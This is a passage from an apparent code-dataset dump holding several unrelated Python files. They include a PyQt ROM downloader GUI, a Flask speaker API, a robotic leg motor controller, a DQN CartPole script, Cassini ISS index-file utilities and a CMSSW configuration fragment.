MainWindow.setWindowTitle(QtGui.QApplication.translate(\"MainWindow\", \"ROM Downloader\", None, QtGui.QApplication.UnicodeUTF8))\n MainWindow.setProperty(\"color\", QtGui.QApplication.translate(\"MainWindow\", \"QtGui.QColor(0, 0, 0) \", None, QtGui.QApplication.UnicodeUTF8))\n self.lineEdit.setText(QtGui.QApplication.translate(\"MainWindow\", \"Game\", None, QtGui.QApplication.UnicodeUTF8))\n self.pushButton.setText(QtGui.QApplication.translate(\"MainWindow\", \"Catalog\", None, QtGui.QApplication.UnicodeUTF8))\n self.pushButton_2.setText(QtGui.QApplication.translate(\"MainWindow\", \"Search\", None, QtGui.QApplication.UnicodeUTF8))\n self.pushButton_3.setText(QtGui.QApplication.translate(\"MainWindow\", \"Download\", None, QtGui.QApplication.UnicodeUTF8))\n self.pushButton_4.setText(QtGui.QApplication.translate(\"MainWindow\", \"Browse\", None, QtGui.QApplication.UnicodeUTF8))\n self.treeWidget.headerItem().setText(0, QtGui.QApplication.translate(\"MainWindow\", \"ROM Name\", None, QtGui.QApplication.UnicodeUTF8))\n\nclass GUIFill(Ui_MainWindow):\n\n def fillcomboBox(self):\n self.objs = {0:\"All Systems\"}\n objs = [x for x in DownloadLink.abbrs2]\n objs.sort()\n counter = 0\n self.comboBox.addItem(\"\")\n self.comboBox.setItemText(counter, QtGui.QApplication.translate(\"MainWindow\", \"All Systems\", None, QtGui.QApplication.UnicodeUTF8))\n counter += 1\n for x in objs:\n self.comboBox.addItem(\"\")\n if x == 'Sony PSP':\n self.comboBox.setItemText(counter, QtGui.QApplication.translate(\"MainWindow\", \"Sony PSP [NOT WORKING]\", None, QtGui.QApplication.UnicodeUTF8))\n else:\n self.comboBox.setItemText(counter, QtGui.QApplication.translate(\"MainWindow\", x, None, QtGui.QApplication.UnicodeUTF8))\n self.objs[counter] = x\n counter += 1\n\n def colortextbox(self):\n palette = self.lineEdit_2.palette()\n palette.setColor(QtGui.QPalette.Active, QtGui.QPalette.Text, QtGui.QColor(0, 0, 0))\n palette.setColor(QtGui.QPalette.Active, QtGui.QPalette.Base, QtGui.QColor(224, 223, 227))\n self.lineEdit_2.setPalette(palette)\n self.path = os.getcwd()\n self.lineEdit_2.setText(QtGui.QApplication.translate(\"MainWindow\", self.path, None, QtGui.QApplication.UnicodeUTF8))\n\n def search(self):\n self.treeWidget.clear()\n try:\n del self.item\n except:\n pass\n try:\n del self.C\n except:\n pass\n try:\n del self.games\n except:\n pass\n qApp.setOverrideCursor(Qt.WaitCursor)\n self.system = str(self.objs[self.comboBox.currentIndex()])\n if self.system == 'All Systems':\n qApp.restoreOverrideCursor()\n QMessageBox.information(self, self.tr(\"ROM Downloader\"),\n self.tr(\"Search is not supported for All Systems\"))\n del self.system\n return None\n self.game = str(self.lineEdit.text())\n self.C = Crawler(self.game, self.system)\n qApp.restoreOverrideCursor()\n self.games = {}\n for x in self.C.games:\n self.games[x[1]] = x[0]\n if len(self.C.games) == 0:\n QMessageBox.information(self, self.tr(\"ROM Downloader\"),\n self.tr(\"No roms found.\"))\n else:\n games = []\n for x in self.games:\n games.append(x)\n games.sort()\n for game in games:\n item = QTreeWidgetItem()\n item.setText(0, game)\n self.treeWidget.addTopLevelItem(item)\n return None\n\n def download(self):\n try:\n print(self.system)\n except:\n QMessageBox.information(self, self.tr(\"ROM Downloader\"),\n self.tr(\"No search selected\"))\n return None\n print(self.item)\n formattedtext ='''\\\n\n
    \nYou are downloading
    %s
    for the
    %s\n
    \n\n''' %(self.item, self.system) \n reply = QtGui.QMessageBox.question(self, 'Downloading',\n formattedtext,\n QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n self.curgame = self.games[str(self.item)]\n self.dlfile()\n \n else:\n print(\"No\")\n return None\n\n def dlfile(self):\n QtGui.QMessageBox.question(self, \"Downloading\",\n \"
    There are %s parts
    After pressing okay, please wait while all are downloaded
    \" %(len(self.curgame)),\n QtGui.QMessageBox.NoButton)\n for x in self.curgame:\n # Download it\n DL = DownloadLink(x, DownloadLink.abbrs2[str(self.system)])\n \n def onTreeWidgetItem(self, item, column):\n try:\n self.item = item.text(0)\n except:\n try:\n del self.item\n except:\n pass\n\n def catalog(self):\n QMessageBox.information(self, self.tr(\"ROM Downloader\"),\n self.tr(\"This feature is not yet implemented\"))\n\n def browse(self):\n QMessageBox.information(self, self.tr(\"ROM Downloader\"),\n self.tr(\"This feature is not yet implemented\"))\n #filename=QFileDialog.getOpenFileName(\"\", \"*.py\", self, \"FileDialog\")\n\n def __init__(self, parent=None):\n QWidget.__init__(self, parent)\n self.setupUi(self)\n self.connect(self.pushButton_2, SIGNAL(\"clicked()\"),\n self.search)\n self.connect(self.pushButton_3, SIGNAL(\"clicked()\"),\n self.download)\n self.connect(self.pushButton, SIGNAL(\"clicked()\"),\n self.catalog)\n self.connect(self.pushButton_4, SIGNAL(\"clicked()\"),\n self.browse)\n self.treeWidget.currentItemChanged.connect(self.onTreeWidgetItem)\n self.show()\n\n\n\n","sub_path":"Python/Python scripts/ROM Downloader/GUI/MainDialog.py","file_name":"MainDialog.py","file_ext":"py","file_size_in_byte":10100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"248465805","text":"import datetime\nfrom datetime import date\nfrom datetime import timedelta\ndef getDate():\n date_entry = input()\n day, month, year = map(int, date_entry.split('-'))\n return datetime.date(year, month, day)\nda = getDate()\nyrs=int(input())\ndef addYears(d, years):\n try:\n#Return same day of the current year \n return d.replace(year = d.year + years)\n except ValueError:\n#If not same day, it will return other, i.e. February 29 to March 1 etc. \n return d + (date(d.year + years, 1, 1) - date(d.year, 1, 1))\nstring=str(addYears(da,yrs))\nfrom datetime import datetime\noldformat = string\ndatetimeobject = datetime.strptime(oldformat,'%Y-%m-%d')\nnewformat = datetimeobject.strftime('%d-%m-%Y')\nprint(newformat)\n","sub_path":"lease_calc.py","file_name":"lease_calc.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"113923587","text":"from flask import request, jsonify\nfrom flask_restful import Resource\nfrom model.Speaker import Speaker, SpeakerSchema\nfrom db import db\n\n#\n\nspeaker_schema = SpeakerSchema()\nspeaker_schemas = SpeakerSchema(many=True)\n\n\nclass SpeakerApi(Resource):\n # Get Single Speaker\n def get(self, id):\n speaker = Speaker.query.get(id)\n if speaker:\n return speaker_schema.jsonify(speaker)\n return ({\"message\": \"Speaker not found\"}), 404\n\n # Delete Single Speaker\n def delete(self, id):\n speaker = Speaker.query.get(id)\n if speaker:\n db.session.delete(speaker)\n db.session.commit()\n return ({\"message\": \"Speaker deleted sucessfully\"}), 200\n return ({\"message\": \"speaker not found\"}), 404\n\n\nclass AddSpeaker(Resource):\n def validate(self):\n pass\n\n def post(self):\n\n fistName = request.json['firstName']\n lastName = request.json['lastName']\n email = request.json['email']\n phone = request.json['phone']\n description = request.json['description']\n companyName = request.json['companyName']\n jobTitle = request.json['jobTitle']\n photo = request.json['photo']\n socialAccount = request.json['socialAccount']\n\n # init object from Speaker class\n newSpeaker = Speaker(fistName, lastName, email, phone,\n description, companyName, jobTitle, photo, socialAccount)\n # Save to database\n newSpeaker.save()\n return speaker_schema.jsonify(newSpeaker)\n\n\nclass GetAllSpeakers(Resource):\n def get(self):\n speakers = Speaker.query.all()\n result = speaker_schemas.dump(speakers)\n return jsonify(result)\n","sub_path":"backend/resources/speaker.py","file_name":"speaker.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"483121490","text":"#!/usr/bin/python3 -B\n\n# Jumping program for the 2D monoped setup\n# This program should be extendable to add more servos (at later stages)\n# such as, roll and yaw servos in the hip and also two ankle servos\n# NOTE: ankle servos may end up being hobby servos (but this will be designed more in the future)\n#\n\nimport asyncio\nimport math\nimport moteus\nimport moteus_pi3hat\nimport time\nimport argparse\nimport sys\n\n\n'''\nTODO:\n\nREDO THIS WHOLE GODDAMN THING TO BE MORE LIKE ZERO_LEG.PY\n\nFigure out how to make the spring jumping up and down virtual leg\n1. get the measurements for the leg links\n2. figure out the lowest possible length of the virtual leg spring\n3. then figure out the IK that needs to be mapped to the input positions of the servos\n (This will be implemented as a cpp ctrlr that will interface with this py class)\n\n'''\n\n\n'''\nNOTE: On the moteus controller these are the set position_min/max\n\nKNEE servopos.position_min = -0.65\nKNEE servopos.position_max = -0.15\n\nHIP servopos.position_min = -0.51\nHIP servopos.position_max = +0.02\n\nKNEE id.id = 1\nHIP id.id = 2\n'''\n\n\nMAX_POS_KN = -0.15 - 0.00\nMIN_POS_KN = -0.65 + 0.00\n\nMAX_POS_HP = 0.02 - 0.00\nMIN_POS_HP = -0.51 + 0.00\n\n\n\n\nclass Leg:\n # each arg corresponds to the respective servo CANBUS ID\n def __init__(self, knee, hip_pitch):\n self.knee = knee\n self.hip_pitch = hip_pitch\n\n # servo_bus_map arg describes which IDs are found on which bus\n self.transport = moteus_pi3hat.Pi3HatRouter(\n servo_bus_map = {\n 1:[self.knee],\n 2:[self.hip_pitch],\n },\n )\n # explicit servo_id's\n self.port_knee = 0\n self.port_hip_pitch = 1\n\n # create a moteus.Controller instance for each servo\n self.servos = {\n servo_id : moteus.Controller(id = servo_id, transport=self.transport)\n for servo_id in [1, 2] # number of motors, need to change manually\n }\n\n # commands for the motors, default set to mid values\n self.commands = [\n self.servos[self.knee].make_position(\n position = math.nan,\n velocity = 0.5,\n maximum_torque = 2.0,\n stop_position = (MAX_POS_KN - MIN_POS_KN) / 2,\n feedforward_torque = -0.01,\n watchdog_timeout = math.nan,\n query = True\n ),\n self.servos[self.hip_pitch].make_position(\n position = math.nan,\n velocity = 0.5,\n maximum_torque = 2.0,\n stop_position = (MAX_POS_HP - MIN_POS_HP) / 2,\n feedforward_torque = -0.01,\n watchdog_timeout = math.nan,\n query = True\n ),\n ]\n\n\n # send stop to clear faults && disable all the motors\n async def stop_all_motors(self):\n await self.transport.cycle([n.make_stop() for n in self.servos.values()])\n\n\n # set knee motor commands\n async def set_motor_kn_cmds(self, pos, vel, max_torq, stop_pos, ffwd_torq, watchdog_timeout, que):\n self.commands.insert(self.port_knee,\n self.servos[self.knee].make_position(\n position = pos,\n velocity = vel,\n maximum_torque = max_torq,\n stop_position = stop_pos,\n feedforward_torque = ffwd_torq,\n watchdog_timeout = watchdog_timeout,\n query = que),\n )\n\n\n # set hip motor commands\n async def set_motor_hp_cmds(self, pos, vel, max_torq, stop_pos, ffwd_torq, watchdog_timeout, que):\n self.commands.insert(self.port_hip_pitch,\n self.servos[self.hip_pitch].make_position(\n position = pos,\n velocity = vel,\n maximum_torque = max_torq,\n stop_position = stop_pos,\n feedforward_torque = ffwd_torq,\n watchdog_timeout = watchdog_timeout,\n query = que),\n )\n\n\n # send commands and return the results info\n async def send_motor_cmds(self):\n results = await self.transport.cycle(self.commands)\n return results\n\n\n\n\nasync def main():\n\n print(\"Starting jumping...\")\n monopod = Leg(1, 2)\n # halfway position of each motorized joint\n kn_half = (MAX_POS_KN - MIN_POS_KN) / 2\n hp_half = (MAX_POS_HP - MIN_POS_HP) / 2\n\n # clearing any faults\n await monopod.stop_all_motors()\n print(\"cleared motor faults\")\n\n while True:\n\n now = time.time()\n\n # testing the set commands\n await monopod.set_motor_kn_cmds(math.nan, 0.5, 2.0, MIN_POS_KN + kn_half + math.sin(now) * kn_half, -0.01, math.nan, True)\n await monopod.set_motor_hp_cmds(math.nan, 0.5, 2.0, MIN_POS_HP + hp_half + math.sin(now + 1) * hp_half, -0.01, math.nan, True)\n\n #print(monopod.commands[0])\n #print(monopod.commands[1])\n\n\n # test sending the commands\n results = await monopod.send_motor_cmds()\n\n # The result is a list of 'moteus.Result' types, each of which\n # identifies the servo it came from, and has a 'values' field\n # that allows access to individual register results.\n #\n # NOTE: it is possible to not receive responses from all servos\n # for which a query was requested\n #\n # Here, we'll just print the ID, position, and velocity of each\n # servo for which a reply was returned\n '''print(\"\".join(\n f\"({result.id}) \" +\n f\"{result.values[moteus.Register.POSITION]} \" +\n f\"{result.values[moteus.Register.VELOCITY]} \"\n for result in results\n ), end='\\r')'''\n #print(now, end='\\r')\n\n\n # await asyncio.sleep(0.5)\n\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"src/jumping/moteus_ctrlr/src/two_d_leg_class.py","file_name":"two_d_leg_class.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"263518069","text":"import datetime\n\nimport gym\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom gym.wrappers import FrameStack, GrayScaleObservation, Monitor, TransformObservation\nfrom torch.optim import Adam\n\nimport autonomous_systems_project.callbacks as cb\nfrom autonomous_systems_project.agents import DoubleDQNAgent, DQNAgent, SimpleDQN\nfrom autonomous_systems_project.memory import RandomReplayMemory\n\nenv = gym.make(\"CartPole-v1\")\nenv = TransformObservation(env, lambda obs: np.array(obs).astype(np.float32))\n\npolicy_net = SimpleDQN(4, env.action_space.n)\ntarget_net = SimpleDQN(4, env.action_space.n)\ntarget_net.load_state_dict(policy_net.state_dict())\n\n\ngamma = 0.9\nbatch_size = 32\nepsilon_steps = 1000\nmemory_size = 100000\nepisodes = 500\nlr = 0.001\ntarget_update = 5\n\nparameters = {\n \"env\": env.unwrapped.spec.id,\n \"gamma\": gamma,\n \"batch_size\": batch_size,\n \"epsilon_steps\": epsilon_steps,\n \"memory_size\": memory_size,\n \"episodes\": episodes,\n \"lr\": lr,\n \"target_update\": target_update,\n}\n\ncallbacks = [\n cb.LogToStdout(),\n cb.LogToMLFlow(parameters, run_name=\"DoubleDQN - Cartpole\"),\n]\n\nmemory = RandomReplayMemory(memory_size, env.observation_space.shape)\nagent = DQNAgent(\n env,\n memory,\n policy_net,\n target_net,\n lr=lr,\n batch_size=batch_size,\n target_update=target_update,\n callbacks=callbacks,\n exploration_steps=epsilon_steps,\n)\nagent.train(num_episodes=episodes, render=True)\n","sub_path":"dqn_main.py","file_name":"dqn_main.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"244872507","text":"class Node(object):\n\t\"\"\"docstring for Node\"\"\"\n\tdef __init__(self, arg):\n\t\tsuper(Node, self).__init__()\n\t\tself.val = arg\n\t\tself.left = None\n\t\tself.right = None\n\n\n\nn1 = Node(1)\nn2 = Node(2)\nn3 = Node(3)\nn4 = Node(4)\nn5 = Node(5)\nn6 = Node(6)\nn7 = Node(7)\n\n# 4\n# 2 6\n# 1 7 3 5\n\nn4.left = n2\nn4.right = n6\n\nn2.left = n1\nn2.right = n7\n\nn6.left = n3\nn6.right = n5\n\nm = float(\"-inf\")\ndef find_max_path(node, m):\n\t# global m\n\tif not node:\n\t\treturn 0\n\tl = find_max_path(node.left, m)\n\tr = find_max_path(node.right, m)\n\tm[0] = max(l+node.val+r, m[0])\n\tprint(m)\n\tret = node.val + max(l,r)\n\tif ret>0:\n\t\treturn ret\n\telse:\n\t\treturn 0\n\nt=[m]\nprint(find_max_path(n4, t))\nprint(t[0])","sub_path":"excrayg/leetcode/python/find_max_path.py.py","file_name":"find_max_path.py.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"441079122","text":"import pandas as pd\nimport numpy as np\nfrom pandas_profiling import ProfileReport\n\nimport category_encoders as ce\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\n\nfrom sklearn import metrics\n\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.pipeline import Pipeline\n\ntrain = pd.read_csv(\"data/train.csv\")\ntest = pd.read_csv(\"data/test.csv\")\n\n\n# Feature Engineering \n\n#Gender \ntrain.Gender.fillna(train.Gender.mode()[0],inplace=True)\ntest.Gender.fillna(test.Gender.mode()[0],inplace=True)\n\n# Married \ntrain.Married.fillna(train.Married.mode()[0],inplace=True)\ntest.Married.fillna(test.Married.mode()[0],inplace=True)\n\n\n# Dependents\n# train.Dependents.fillna(train.Dependents.median(),inplace=True)\n# test.Dependents.fillna(train.Dependents.median(),inplace=True)\n\n# Self Employed\ntrain.Self_Employed.fillna(train.Self_Employed.mode()[0],inplace=True)\ntest.Self_Employed.fillna(test.Self_Employed.mode()[0],inplace=True)\n\n#LoanAmount\ntrain.LoanAmount.fillna(train.LoanAmount.mean(),inplace=True)\ntest.LoanAmount.fillna(train.LoanAmount.mean(),inplace=True)\n\n#Loan_Amount_Term \ntrain.Loan_Amount_Term.fillna(train.Loan_Amount_Term.mean(),inplace=True)\ntest.Loan_Amount_Term.fillna(train.Loan_Amount_Term.mean(),inplace=True)\n\n\n#Loan_Amount_Term \ntrain.Credit_History.fillna(train.Credit_History.mode()[0],inplace=True)\ntest.Credit_History.fillna(train.Credit_History.mode()[0],inplace=True)\n\n\ncat_cols = ['Gender','Married','Dependents','Education','Self_Employed','Property_Area']\n\nX = train.drop(['Loan_ID','Loan_Status'],axis=1)\ny = train['Loan_Status']\ny_enc = y.map({'Y':1,'N':0})\ncat_enc = ce.CatBoostEncoder(cols=cat_cols)\n\n\nlr_pipe = Pipeline(steps=[\n ('enc',cat_enc),\n ('scl',StandardScaler()),\n ('mdl',LogisticRegression(class_weight='balanced'))\n])\n\nrf_pipe = Pipeline(steps=[\n ('enc',cat_enc),\n ('scl',StandardScaler()),\n ('mdl',RandomForestClassifier(n_estimators=400,class_weight='balanced'))\n])\n\ncv_score = cross_val_score(lr_pipe,X,y_enc,scoring='accuracy')\n\nprint(\"CV Score \" ,cv_score, cv_score.mean(), cv_score.std())\n\n\n\n# Model prediction\n# model = lr_pipe\n# model.fit(X,y_enc)\n# y_pred = model.predict(test[X.columns])\n# res = pd.DataFrame()\n# res['Loan_ID'] = test.Loan_ID\n# res['Loan_Status'] = y_pred\n# res['Loan_Status'] = res['Loan_Status'].map({1:'Y',0:'N'})\n\n# res.to_csv(\"lr_pipe.csv\",index=False)","sub_path":"starter.py","file_name":"starter.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"556824524","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nwith open(\"requirements.txt\") as reqs:\n requirements = reqs.read().split(\"\\n\")\n\nsetup(\n name='common-python',\n version='0.1.0',\n description=\"common functions for deconst python services\",\n url='https://github.com/deconst/common-python',\n packages=[\n 'deconst_common',\n ],\n package_dir={'deconst_common':\n 'deconst_common'},\n include_package_data=True,\n install_requires=requirements,\n license=\"BSD\",\n zip_safe=False,\n keywords='deconst common python functions',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"199892580","text":"\"\"\"Support tools to work with PDS ISS indexfiles.\"\"\"\nfrom pathlib import Path\n\nimport pandas as pd\nimport progressbar\nimport pvl\n\nfrom planetpy import utils\n\nfrom .io import config\n\n# The '2' stands for all data at Saturn, '1' would be all transit data.\nbase_url = \"http://pds-rings.seti.org/volumes/COISS_2xxx/COISS_\"\n\n\nclass PVLColumn(object):\n def __init__(self, pvlobj):\n self.pvlobj = pvlobj\n\n @property\n def name(self):\n return self.pvlobj['NAME']\n\n @property\n def name_as_list(self):\n \"needs to return a list for consistency for cases when it's an array.\"\n if self.items is None:\n return [self.name]\n else:\n return [self.name + '_' + str(i + 1) for i in range(self.items)]\n\n @property\n def start(self):\n \"Decrease by one as Python is 0-indexed.\"\n return self.pvlobj['START_BYTE'] - 1\n\n @property\n def stop(self):\n return self.start + self.pvlobj['BYTES']\n\n @property\n def items(self):\n return self.pvlobj.get('ITEMS')\n\n @property\n def item_bytes(self):\n return self.pvlobj.get('ITEM_BYTES')\n\n @property\n def item_offset(self):\n return self.pvlobj.get('ITEM_OFFSET')\n\n @property\n def colspecs(self):\n if self.items is None:\n return (self.start, self.stop)\n else:\n i = 0\n bucket = []\n for _ in range(self.items):\n off = self.start + self.item_offset * i\n bucket.append((off, off + self.item_bytes))\n i += 1\n return bucket\n\n def decode(self, linedata):\n if self.items is None:\n start, stop = self.colspecs\n return linedata[start:stop]\n else:\n bucket = []\n for (start, stop) in self.colspecs:\n bucket.append(linedata[start:stop])\n return bucket\n\n def __repr__(self):\n return self.pvlobj.__repr__()\n\n\nclass TableLabel(object):\n tablename = 'TABLE'\n \"\"\"Support working with the labelfile of ISS indices.\"\"\"\n def __init__(self, labelpath):\n self._path = Path(labelpath)\n\n @property\n def path(self):\n return self._path\n\n @path.setter\n def path(self, path):\n self._path = path\n\n @property\n def lbl(self):\n return pvl.load(str(self.path))\n\n @property\n def table(self):\n return self.lbl[self.tablename]\n\n @property\n def pvl_columns(self):\n return self.table.getlist('COLUMN')\n\n @property\n def columns_dic(self):\n return {col['NAME']: col for col in self.pvl_columns}\n\n @property\n def colnames(self):\n \"\"\"Read the columns in a ISS index label file.\n\n The label file for the ISS indices describes the content\n of the index files.\n \"\"\"\n colnames = []\n for col in self.pvl_columns:\n colnames.extend(PVLColumn(col).name_as_list)\n return colnames\n\n @property\n def colspecs(self):\n colspecs = []\n columns = self.table.getlist('COLUMN')\n for column in columns:\n pvlcol = PVLColumn(column)\n if pvlcol.items is None:\n colspecs.append(pvlcol.colspecs)\n else:\n colspecs.extend(pvlcol.colspecs)\n return colspecs\n\n\nclass ImageTableLabel(TableLabel):\n tablename = 'IMAGE_INDEX_TABLE'\n\n\nclass RDRIndexLabel(TableLabel):\n tablename = 'RDR_INDEX_TABLE'\n\n\nclass RingGeoTableLabel(TableLabel):\n tablename = 'RING_GEOMETRY_TABLE'\n\n\ndef decode_line(linedata, labelpath):\n \"\"\"Decode one line of tabbed data with the appropriate label file.\n\n Parameters\n ----------\n linedata : str\n One line of a .tab data file\n labelpath : str or pathlib.Path\n Path to the appropriate label that describes the data.\n \"\"\"\n label = ImageTableLabel(labelpath)\n for column in label.pvl_columns:\n pvlcol = PVLColumn(column)\n print(pvlcol.name, pvlcol.decode(linedata))\n\n\ndef index_to_df(indexpath, label, convert_times):\n indexpath = Path(indexpath)\n df = pd.read_fwf(indexpath, header=None,\n names=label.colnames,\n colspecs=label.colspecs)\n if convert_times:\n print(\"Converting times...\")\n for column in [i for i in df.columns if 'TIME' in i]:\n df[column] = pd.to_datetime(df[column])\n\n return df\n\n\ndef iss_index_to_df(indexpath, labelpath=None, convert_times=True):\n \"\"\"Read index.tab file with appropriate label file into dataframe.\n\n By default the detached label should be in the same folder as the\n indexfile and will automatically be used.\n The user can force a special labelpath to be used as second\n parameter.\n\n Parameters\n ----------\n indexpath : str or pathlib.Path\n Path to actual indexfile to be read into dataframe.\n labelpath : str or pathlib.Path\n Path to labelfile that desribes content to indexfiles.\n \"\"\"\n indexpath = Path(indexpath)\n if labelpath is not None:\n # if extra labelpath given.\n labelpath = Path(labelpath)\n else:\n # create path from index table path\n labelpath = indexpath.with_suffix('.lbl')\n if not labelpath.exists():\n df = pd.read_csv(indexpath, header=None)\n else:\n label = ImageTableLabel(labelpath)\n df = pd.read_fwf(indexpath, header=None,\n names=label.colnames,\n colspecs=label.colspecs)\n if convert_times:\n print(\"Converting times...\")\n for column in [i for i in df.columns if 'TIME' in i]:\n df[column] = pd.to_datetime(df[column].map(utils. nasa_datetime_to_iso))\n\n return df\n\n\ndef convert_indexfiles_to_hdf(folder):\n \"\"\"Convert all indexfiles to an HDF database.\n\n Search for .tab files in `folder`, read them into a dataframe,\n concat to large dataframe at the end and store as HDF file.\n\n Parameters\n ----------\n folder : str or pathlib.Path\n Folder in where to search for .tab files\n labelpath : str or pathlb.Path\n \"\"\"\n indexdir = Path(folder)\n indexfiles = list(indexdir.glob('*.tab'))\n bucket = []\n bar = progressbar.ProgressBar(max_value=len(indexfiles))\n for i, indexfile in enumerate(indexfiles):\n # convert times later, more performant\n df = iss_index_to_df(indexfile, convert_times=False)\n df['index_fname'] = str(indexfile)\n bucket.append(df)\n bar.update(i)\n totalindex = pd.concat(bucket, ignore_index=True)\n # Converting timestrings to datetimes\n print(\"Converting times...\")\n for column in [i for i in totalindex.columns if 'TIME' in i]:\n totalindex[column] = pd.to_datetime(totalindex[column].\n map(utils.\n nasa_datetime_to_iso))\n savepath = indexdir / 'iss_totalindex.hdf'\n totalindex.to_hdf(savepath, 'df')\n print(\"Created pandas HDF index database file here:\\n{}\"\n .format(savepath))\n\n\ndef read_cumulative_index(indexdir=None):\n \"Read in the whole cumulative index and return dataframe.\"\n if indexdir is None:\n try:\n indexdir = Path(config['pyciss_indexdir'])\n except KeyError:\n print(\"Did not find the key `pyciss_indexdir` in the config file.\")\n return\n\n savepath = indexdir / 'cumindex.tab.hdf'\n if savepath.exists():\n return pd.read_hdf(savepath, 'df')\n else:\n df = iss_index_to_df(indexdir / 'cumindex.tab')\n df.to_hdf(savepath, 'df')\n return df\n\n\nclass IndexDB(object):\n def __init__(self, indexdir=None):\n if indexdir is None:\n try:\n indexdir = config['pyciss_indexdir']\n except KeyError:\n print(\"Did not find the key `pyciss_indexdir` in the config file.\")\n return\n self.indexdir = Path(indexdir)\n\n @property\n def indexfiles(self):\n return self.indexdir.glob('*_????.tab')\n\n @property\n def cumulative_label(self):\n return ImageTableLabel(self.indexdir / 'cumindex.lbl')\n\n def get_index_no(self, no):\n return iss_index_to_df(next(self.indexdir.glob('*_' + str(no) + '.tab')))\n","sub_path":"pyciss/indexfiles.py","file_name":"indexfiles.py","file_ext":"py","file_size_in_byte":8260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"149862624","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"OwnParticles\")\n\nprocess.load(\"Geometry.MuonCommonData.muonIdealGeometryXML_cfi\")\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.load(\"Geometry.CMSCommonData.cmsExtendedGeometryPostLS1XML_cfi\")\nprocess.load(\"Geometry.RPCGeometry.rpcGeometry_cfi\")\nprocess.load(\"Geometry.CSCGeometry.cscGeometry_cfi\")\nprocess.load(\"Geometry.DTGeometry.dtGeometry_cfi\")\nprocess.load(\"Geometry.MuonNumbering.muonNumberingInitialization_cfi\")\nprocess.load('Configuration/StandardSequences/GeometryIdeal_cff')\n\n\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\n\nprocess.load(\"MuonTools.StandardSequences.RecoStandAloneMuon_cff\")\n\n# have stareco use hlt digis\nprocess.load(\"MuonTools.Configuration.HltMuonDigis_cff\")\n# have stareco use hlt segments (1)\nprocess.load(\"MuonTools.Configuration.HltMuonSegments_cff\")\n# keep stareco from using rpcs\nprocess.load(\"MuonTools.Configuration.StandAloneNoRpc_cff\")\n\nprocess.GlobalTag.globaltag = 'GR_P_V32::All'\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\n\nprocess.source = cms.Source(\"PoolSource\",\n # replace 'myfile.root' with the source file you want to use\n fileNames = cms.untracked.vstring(\n 'file:/afs/cern.ch/work/d/depoyraz/RPC/sample209151.root'\n )\n)\n\nprocess.dTandCSCSegmentsinTracks = cms.EDProducer(\"DTandCSCSegmentsinTracks\",\n cscSegments = cms.InputTag(\"hltCscSegments\"),\n dt4DSegments = cms.InputTag(\"hltDt4DSegments\"),\n tracks = cms.InputTag(\"standAloneMuons\",\"UpdatedAtVtx\")\n )\n\nprocess.rpcPointProducer = cms.EDProducer('RPCPointProducer',\n incldt = cms.untracked.bool(True),\n inclcsc = cms.untracked.bool(True),\n incltrack = cms.untracked.bool(False),\n\n debug = cms.untracked.bool(False),\n\n rangestrips = cms.untracked.double(4.),\n rangestripsRB4 = cms.untracked.double(4.),\n MinCosAng = cms.untracked.double(0.85),\n MaxD = cms.untracked.double(80.0),\n MaxDrb4 = cms.untracked.double(150.0),\n ExtrapolatedRegion = cms.untracked.double(0.6), #in stripl/2 in Y and stripw*nstrips/2 in X\n cscSegments = cms.InputTag('dTandCSCSegmentsinTracks','SelectedCscSegments','OwnParticles'),\n dt4DSegments = cms.InputTag('dTandCSCSegmentsinTracks','SelectedDtSegments','OwnParticles'),\n tracks = cms.InputTag(\"standAloneMuons\"),\n TrackTransformer = cms.PSet(\n DoPredictionsOnly = cms.bool(False),\n Fitter = cms.string('KFFitterForRefitInsideOut'),\n TrackerRecHitBuilder = cms.string('WithTrackAngle'),\n Smoother = cms.string('KFSmootherForRefitInsideOut'),\n MuonRecHitBuilder = cms.string('MuonRecHitBuilder'),\n RefitDirection = cms.string('alongMomentum'),\n RefitRPCHits = cms.bool(False),\n Propagator = cms.string('SmartPropagatorAnyRKOpposite')\n )\n)\n\n\nprocess.panalyzer = cms.EDAnalyzer('RPCPointAnalyzer',\n \t\t\t\t\t\t\t RootFileName = cms.untracked.string(\"PointAnalyzerHistograms.root\"),\n\t\t\t\t\t\t\t #rpcDTPoints = 